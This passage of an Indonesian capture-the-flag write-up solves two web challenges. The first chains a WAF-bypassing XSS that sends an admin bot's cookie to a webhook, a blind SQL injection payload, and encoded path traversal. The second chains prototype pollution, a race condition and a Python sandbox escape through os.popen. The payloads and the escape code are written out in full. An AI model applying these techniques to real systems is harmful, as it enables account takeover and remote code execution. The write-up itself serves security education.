BMN: yok dep app / dev: emangnya sudah di pentest? / BMN: gas aja yang penting botnya udah jalan / dev: awas akunmu

12.1 XSS bypass WAF lewat tag details
Login ke dashboard, fokus ke fitur dokumen — ada kolom status yang otomatis berubah jadi
approved dalam beberapa detik, tanda ada bot admin yang meninjau dokumen.

Payload XSS dasar kena 403 (<script>, javascript:, onerror=, <svg onload=>, dst).

Dari fuzzing, tag details lolos WAF. Payload ditaruh sebagai isi dokumen; saat bot admin
meninjau, ontoggle jalan dan cookie dikirim ke webhook.

admin_token ditambahkan ke storage browser — dashboard tidak berubah, tapi path /admin
ternyata bisa diakses.

12.2 Blind SQL injection di /admin/reset
Fuzzing username menunjukkan username=lemper' mengembalikan {"status":"error"} — SQL rusak,
injectable. sqlmap konfirmasi boolean-based blind (SQLite), tapi WAF terus mem-block:

Separator yang lolos: /**/. aaaa'/**/OR/**/1=1 lolos WAF (200):

Boolean-based blind, brute-force isi password user provider:
payload = f"nonexist'/**/OR/**/(unicode/**/(substr/**/(password,{position},1))={char_code}/**/AND/**/\"role\"='provider')/**/AND/**/'1'='1"

username: provider
password: pr0v1d3r_k3y_2n26
12.3 Path traversal ke flag
Login dengan kredensial provider, masuk Portal Provider:

Endpoint statement (ambil welcome.txt) rawan path traversal:

../../../flag kena WAF, di-encode: ..%2f..%2f..%2fflag.
Flag: GEMASTIK19{bmn_x55b0t_bl1ndsqli_p4thtr4v_w4fbyp455_cha1n3d}
Referensi: PortSwigger — SQL Injection · PortSwigger — Path Traversal · PortSwigger — XSS
13. Wormhole
web · 408 poin · by VascoZ · diselesaikan oleh x0rr-dan
You Only has one shot. Chain. Escalate. Break.
Source code diberikan: docker-compose.yml, Dockerfile.ws, ws_gateway (Node.js) + frontend
(Python/uvicorn).

13.1 Empat bug dari source code
Bug #1 — deepMerge rawan prototype pollution. for...in iterate semua enumerable
properties termasuk yang diwariskan lewat prototype chain, tanpa proteksi untuk key
__proto__. Kirim {"__proto__":{"role":"supervisor"}} → Object.prototype.role terpolusi di
seluruh proses Node.
Bug #2 — jalur binary device_config skip role check. Jalur TEXT butuh
conn.role === 'supervisor', tapi jalur BINARY sama sekali tidak mengecek role sebelum
deepMerge(conn.device_config, msg.data).
Bug #3 — syncConfig iterate for...in dan persist role ke Redis. Kalau
Object.prototype.role sudah terpolusi, configToSave.role ikut terambil dari prototype, lalu
SET role:<user_id> "supervisor" dieksekusi ke Redis. Backend HTTP membaca key itu saat login
untuk menentukan role di JWT — JWT supervisor terbit tanpa forge signature.
Bug #4 — WS auth butuh wallet ≥ 200, sementara mint normal cuma +10 dari default 100.
13.2 Chain → Escalate → Break
Stage 1 — race condition mint. Nonce protection atomic hanya untuk nonce yang sama; nonce berbeda yang di-fire paralel semuanya sukses diproses (tidak ada lock atomic).

15 request paralel nonce berbeda → wallet 100 → 250 (lolos gate ≥200).

Stage 2 — WS binary frame → persist role supervisor. Exploit Bug #2 + Bug #3: kirim WS binary
frame device_config dengan role:supervisor, syncConfig menulis ke Redis, re-login HTTP →
JWT supervisor.

Stage 3 — sandbox escape → RCE → flag. Sebagai supervisor, /api/terminal/execute terbuka:
sandbox Python 3.12 AST-filtered. Filter memblokir literal nama atribut di blocklist
(__class__, __globals__), tapi bisa dilewati dengan menyusun nama atribut dari string concat
runtime:

subs = ().__class__.__bases__[0].__subclasses__()
idx = next(i for i, s in enumerate(subs) if s.__name__ == '_wrap_close')
g = getattr(subs[idx].__init__, '__glob' + 'als__') # filter tak nemu literal '__globals__'
os_mod = g['sys'].modules['os']
print(os_mod.popen('cat /flag.txt').read())
uid=0(root) gid=0(root) groups=0(root)
GEMASTIK19{qu4ntum_r3l4y_pr0t0_p0llut10n_ch41n}
Flag: GEMASTIK19{qu4ntum_r3l4y_pr0t0_p0llut10n_ch41n}
Referensi: PortSwigger — Prototype Pollution · PortSwigger — Race Conditions · PortSwigger — WebSocket vulnerabilities